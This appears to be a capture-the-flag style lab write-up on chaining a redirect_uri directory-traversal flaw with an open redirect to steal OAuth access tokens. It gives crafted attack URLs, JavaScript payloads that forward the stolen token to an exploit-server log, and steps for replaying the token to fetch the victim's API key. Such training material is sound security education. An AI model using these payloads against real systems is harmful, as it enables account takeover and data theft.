Stealing OAuth access tokens via an open redirect

Description

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

Reproduction and proof of concept

  1. While proxying traffic through Burp, click My account and complete the OAuth login process (wiener:peter). Afterwards, you will be redirected back to the blog website.

  2. Study the resulting requests and responses. Notice that the blog website makes an API call to the userinfo endpoint at /me and then uses the data it fetches to log the user in. Send the GET /me request to Burp Repeater.

  3. Log out of your account and log back in again. From the proxy history, find the most recent GET /auth?client_id=[...] request and send it to Repeater.

  4. In Repeater, experiment with the GET /auth?client_id=[...] request. Observe that you cannot supply an external domain as redirect_uri because it’s being validated against a whitelist. However, you can append additional characters to the default value without encountering an error, including the /../ directory traversal sequence.

  5. Log out of your account on the blog website and turn on proxy interception in Burp.

  6. In your browser, log in again and go to the intercepted GET /auth?client_id=[...] request in Burp Proxy.

  7. Confirm that the redirect_uri parameter is in fact vulnerable to directory traversal by changing it to:

https://0afd00940493f56bc11235de000a00cb.web-security-academy.net/oauth-callback/../post?postId=1

Forward any remaining requests and observe that you are eventually redirected to the first blog post. In your browser, notice that your access token is included in the URL as a fragment. 8. With the help of Burp, audit the other pages on the blog website. Identify the Next post option at the bottom of each blog post, which works by redirecting users to the path specified in a query parameter. Send the corresponding GET /post/next?path=[...] request to Repeater. 9. In Repeater, experiment with the path parameter. Notice that this is an open redirect. You can even supply an absolute URL to elicit a redirect to a completely different domain, for example, your exploit server. 10. Craft a malicious URL that combines these vulnerabilities. You need a URL that will initiate an OAuth flow with the redirect_uri pointing to the open redirect, which subsequently forwards the victim to the exploit server:

https://oauth-0ae200a004f3f5dcc13e332b02eb00e3.oauth-server.net/auth?client_id=pqljknqzyjxcmx466g9ru&redirect_uri=https://0afd00940493f56bc11235de000a00cb.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a8200d604bff535c17a34810190009f.exploit-server.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email
  1. Test that this URL works correctly by visiting it in your browser. You should be redirected to the exploit server’s “Hello, world!” page, along with the access token in a URL fragment.

https://exploit-0a8200d604bff535c17a34810190009f.exploit-server.net/exploit#access_token=nN8ZIvHilG4s7KBOdzYcCX67c_EOP-_6B_oqbkjEMZe&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
  1. On the exploit server, create a suitable script at /exploit that will extract the fragment and output it somewhere. For example, the following script will leak it via the access log by redirecting users to the exploit server for a second time, with the access token as a query parameter instead:

<script>
window.location = '/?'+document.location.hash.substr(1)
</script>
  1. To test that everything is working correctly, Store this exploit and visit the malicious URL again in your browser. Then, go to the exploit server access log. There should be a request for GET /?access_token=[...].

Oauth

  1. You now need to create an exploit that first forces the victim to visit your malicious URL and then executes the script you just tested to steal their access token. For example:

<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-0ae200a004f3f5dcc13e332b02eb00e3.oauth-server.net/auth?client_id=pqljknqzyjxcmx466g9ru&redirect_uri=https://0afd00940493f56bc11235de000a00cb.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a8200d604bff535c17a34810190009f.exploit-server.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

Oauth

  1. To test that the exploit works, store it and then click View exploit. The page should appear to refresh, but if you check the access log, you should see a new request for GET /?access_token=[...].

Oauth

  1. Deliver the exploit to the victim, then copy their access token from the log.

Oauth

5x-Yiba4AKFqAooI7XQdZXBd2YgUtnFCg3SPODWJaT4
  1. In Repeater, go to the GET /me request and replace the token in the Authorization: Bearer header with the one you just copied. Send the request. Observe that you have successfully made an API call to fetch the victim’s data, including their API key.

Oauth

  1. Use the Submit solution button at the top of the lab page to submit the stolen key and solve the lab.

Oauth

Exploitability

An attacker will need to log in to wiener:peter; and then identify an open redirect on the blog website; use this to steal an access token for the admin user’s account; use the access token to obtain the admin’s API key; and submit the solution using the button provided in the lab banner.